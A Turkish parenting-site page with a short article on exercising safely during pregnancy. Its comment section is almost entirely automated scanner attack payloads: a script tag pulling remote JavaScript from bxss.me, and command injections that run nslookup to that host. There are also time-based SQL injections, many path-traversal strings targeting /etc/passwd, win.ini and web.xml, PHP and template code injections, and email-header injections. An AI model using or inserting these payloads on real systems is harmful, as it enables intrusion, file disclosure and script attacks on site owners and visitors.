Kayıt Ol / Giriş Yap

Giriş Yap

Şifremi Unuttum Aktivasyon Kodu

Şifremi Unuttum


< Geri Dön

Aktivasyon Kodu


< Geri Dön

Henüz üye değilsen:

Kayıt Ol
Ana Sayfa

Hamileyim / Spor

AAA

Harika Görünmeye Devam Etmek İçin Spor Yapın

Harika Görünmeye Devam Etmek İçin Spor Yapın

Kendinizi hem zihinsel hem de fiziksel olarak doğuma hazırlamak sadece doğumu kolaylaştırmaz, aynı zamanda bebeğinizi tanımanın da harika bir yoludur. 

Egzersizin faydaları

Endorfinler egzersiz yaptığınız sırada salgılanan vücudun doğal ağrı kesicileridir. Bu hormon, kendinizi daha iyi ve daha mutlu hissetmenizi sağlar ve bebeğiniz için de harikadır. Hareket kan dolaşımını artırır, şişkinliğinizi azaltır. 'Fit' iseniz doğum anında kasılmalarınız daha etkili olacaktır ve doğum daha hızlı ilerleyecektir.

Spor salonuna devam edin.

Eğer spor salonuna gitmek gibi düzenli bir fitness rutininiz varsa bunu yapmaya devam edebilirsiniz. Belki hamile yogası veya düşük tempolu aerobik gibi hamile kadınlar için özel açılmış bir sınıfa katılmayı denemek istersiniz. Yürüyüş, yoga, pilates, doğum öncesi su-aerobiği ve yüzme gibi egzersizleri doğuma kadar yapabilirsiniz.

Doğa sporlarından ve temaslı sporlardan kaçının.

Doğa sporları ve temas gerektiren sporlar gibi hamile kadınların yapmaması gereken bazı egzersiz türleri vardır. Örneğin top sporları ve binicilik gibi bazı sporları yaparken aniden düşebileceğiniz ya da bir yerinizi çarpabileceğiniz için bebeğinizi koruyamazsınız.

Hamilelik sırasında egzersiz yapmakla ilgili kurallar:

Diğer egzersiz çeşitleri hakkında da doktordan tavsiye alın ve her zaman aşağıdaki altın kuralları izleyin:

Kural 1 - Vücudunuzu dinleyin. Asla kendinizi fazla zorlamayın.

Kural 2 – Yüzünüz kızarmışsa ya da konuşamayacak kadar nefessiz kalmışsanız bu çok güç sarf ettiğinizi ve aşırı terlediğinizi gösterir, yavaşlayın.

Kural 3 - Bebeği ya da diyaframınızı sıkıştırmayın. Mekik egzersizlerinden ve bazı ileri uzanmalı gerilmelerden kaçının.

Kural 4 - Hamilelik hormonu 'relaksin', tüm bağ dokularınızı gevşettiği için aşırı gerilmeden kaçının, yavaş hareket edin.

Kural 5 - Sağlıklı beslenin ve bol sıvı alın.


 

Yorumlar

Yorum eklemek için üye girişi yapmanız gerekiyor
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1BGvznS6mnO
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
response.write(9781266*9854340)
28 Şubat 2019
1
28 Şubat 2019
'+response.write(9781266*9854340)+'
28 Şubat 2019
1
28 Şubat 2019
"+response.write(9781266*9854340)+"
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1'"
28 Şubat 2019
\
28 Şubat 2019
1
28 Şubat 2019
@@eoYtx
28 Şubat 2019
JyI=
28 Şubat 2019
28 Şubat 2019
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1'>"></title></style></textarea></noscript></template></script><script/src="//bxss.me/s?u=053319&r=54-93617&h=54-502fc-2&"></script>
28 Şubat 2019
1
28 Şubat 2019
sJyokLCW
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
set|set&set
28 Şubat 2019
1<esi:include src="http://testasp.vulnweb.com/rpb.png"/>
28 Şubat 2019
1
28 Şubat 2019
${10000415+9999145}
28 Şubat 2019
1 bcc:053319.54-93624.54.502fc.1@bxss.me
28 Şubat 2019
$(nslookup dns.ce.\053319.54-93625.54.502fc.\1.bxss.me)
28 Şubat 2019
1
28 Şubat 2019
to@example.com> bcc:053319.54-93627.54.502fc.1@bxss.me
28 Şubat 2019
&nslookup dns.ce.\053319.54-93628.54.502fc.\1.bxss.me&'\"`0&nslookup dns.ce.\053319.54-93628.54.502fc.\1.bxss.me&`'
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
12345'"\'\");|]*{ <>
28 Şubat 2019
1&n928798=v994761
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
http://hitiEi2SoM0ne.bxss.me/
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
HttP://testasp.vulnweb.com/t/xss.html?%00
28 Şubat 2019
'"()
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
)
28 Şubat 2019
testasp.vulnweb.com/t/xss.html?%00
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
/www.vulnweb.com
28 Şubat 2019
1
28 Şubat 2019
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
28 Şubat 2019
!(()&&!|*|*|
28 Şubat 2019
1
28 Şubat 2019
http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
28 Şubat 2019
comment
28 Şubat 2019
1
28 Şubat 2019
^(#$!@#$)(()))******
28 Şubat 2019
1
28 Şubat 2019
1some_inexistent_file_with_long_name.jpg
28 Şubat 2019
1
28 Şubat 2019
comment
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
Http://testasp.vulnweb.com/t/fit.txt
28 Şubat 2019
1
28 Şubat 2019
comment/.
28 Şubat 2019
'"
28 Şubat 2019
1
28 Şubat 2019
;print(md5(acunetix_wvs_security_test));
28 Şubat 2019
http://testasp.vulnweb.com/t/fit.txt?.jpg
28 Şubat 2019
1
28 Şubat 2019
<!--
28 Şubat 2019
1
28 Şubat 2019
';print(md5(acunetix_wvs_security_test));$a='
28 Şubat 2019
testasp.vulnweb.com
28 Şubat 2019
1'"()&%<acx><ScRiPt >XQ4g(9263)</ScRiPt>
28 Şubat 2019
1
28 Şubat 2019
";print(md5(acunetix_wvs_security_test));$a="
28 Şubat 2019
'"()&%<acx><ScRiPt >XQ4g(9442)</ScRiPt>
28 Şubat 2019
1
28 Şubat 2019
${@print(md5(acunetix_wvs_security_test))}
28 Şubat 2019
19936535
28 Şubat 2019
1
28 Şubat 2019
${@print(md5(acunetix_wvs_security_test))}\
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
U2pGVDJq
28 Şubat 2019
1
28 Şubat 2019
-1 OR 2+126-126-1=0+0+0+1 --
28 Şubat 2019
1
28 Şubat 2019
-1 OR 2+768-768-1=0+0+0+1
28 Şubat 2019
1
28 Şubat 2019
-1' OR 2+434-434-1=0+0+0+1 --
28 Şubat 2019
1
28 Şubat 2019
-1' OR 2+425-425-1=0+0+0+1 or 'VfXmdavk'='
28 Şubat 2019
1
28 Şubat 2019
-1" OR 2+651-651-1=0+0+0+1 --
28 Şubat 2019
1
28 Şubat 2019
if(now()=sysdate(),sleep(6),0)
28 Şubat 2019
1
28 Şubat 2019
0'XOR(if(now()=sysdate(),sleep(9),0))XOR'Z
28 Şubat 2019
1
28 Şubat 2019
0"XOR(if(now()=sysdate(),sleep(9),0))XOR"Z
28 Şubat 2019
1
28 Şubat 2019
(select(0)from(select(sleep(3)))v)/*'+(select(0)from(select(sleep(3)))v)+'"+(select(0)from(select(sleep(3)))v)+"*/
28 Şubat 2019
1
28 Şubat 2019
-1; waitfor delay '0:0:3' --
28 Şubat 2019
1
28 Şubat 2019
-1); waitfor delay '0:0:3' --
28 Şubat 2019
1
28 Şubat 2019
1 waitfor delay '0:0:6' --
28 Şubat 2019
1
28 Şubat 2019
pMBPwpnV'; waitfor delay '0:0:6' --
28 Şubat 2019
-1;select pg_sleep(9); --
28 Şubat 2019
1
28 Şubat 2019
-1);select pg_sleep(9); --
28 Şubat 2019
1
28 Şubat 2019
-1));select pg_sleep(3); --
28 Şubat 2019
1
28 Şubat 2019
zGVJLdoX';select pg_sleep(3); --
28 Şubat 2019
1
28 Şubat 2019
eE37yvEK');select pg_sleep(6); --
28 Şubat 2019
1
28 Şubat 2019
l1Jj3rHV'));select pg_sleep(9); --
28 Şubat 2019
1
28 Şubat 2019
../../../../../../../../../../etc/passwd
28 Şubat 2019
../../../../../../../../../../../../../../../proc/version
28 Şubat 2019
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
28 Şubat 2019
../../../../../../../../../../etc/passwd.jpg
28 Şubat 2019
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
28 Şubat 2019
/../..//../..//../..//../..//../..//etc/passwd.jpg
28 Şubat 2019
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
28 Şubat 2019
/etc/passwd
28 Şubat 2019
%2fetc%2fpasswd
28 Şubat 2019
/.././.././.././.././.././.././.././../etc/./passwd%00
28 Şubat 2019
../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
28 Şubat 2019
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
28 Şubat 2019
..
28 Şubat 2019
invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
28 Şubat 2019
file:///etc/passwd
28 Şubat 2019
/\../\../\../\../\../\../\../etc/passwd
28 Şubat 2019
/WEB-INF/web.xml
28 Şubat 2019
../../../../../../../../../../windows/win.ini
28 Şubat 2019
C:\WINDOWS\system32\drivers\etc\hosts
28 Şubat 2019
../../../../../../../../../../windows/win.ini.jpg
28 Şubat 2019
28 Şubat 2019
................windowswin.ini
28 Şubat 2019
..\..\..\..\..\..\..\..\windows\win.ini
28 Şubat 2019
/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini
28 Şubat 2019
../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini
28 Şubat 2019
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini
28 Şubat 2019
unexisting/../../../../../../../../../../windows/win.ini.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\
28 Şubat 2019
WEB-INF/web.xml
28 Şubat 2019
WEB-INF\web.xml

Diğer Makaleler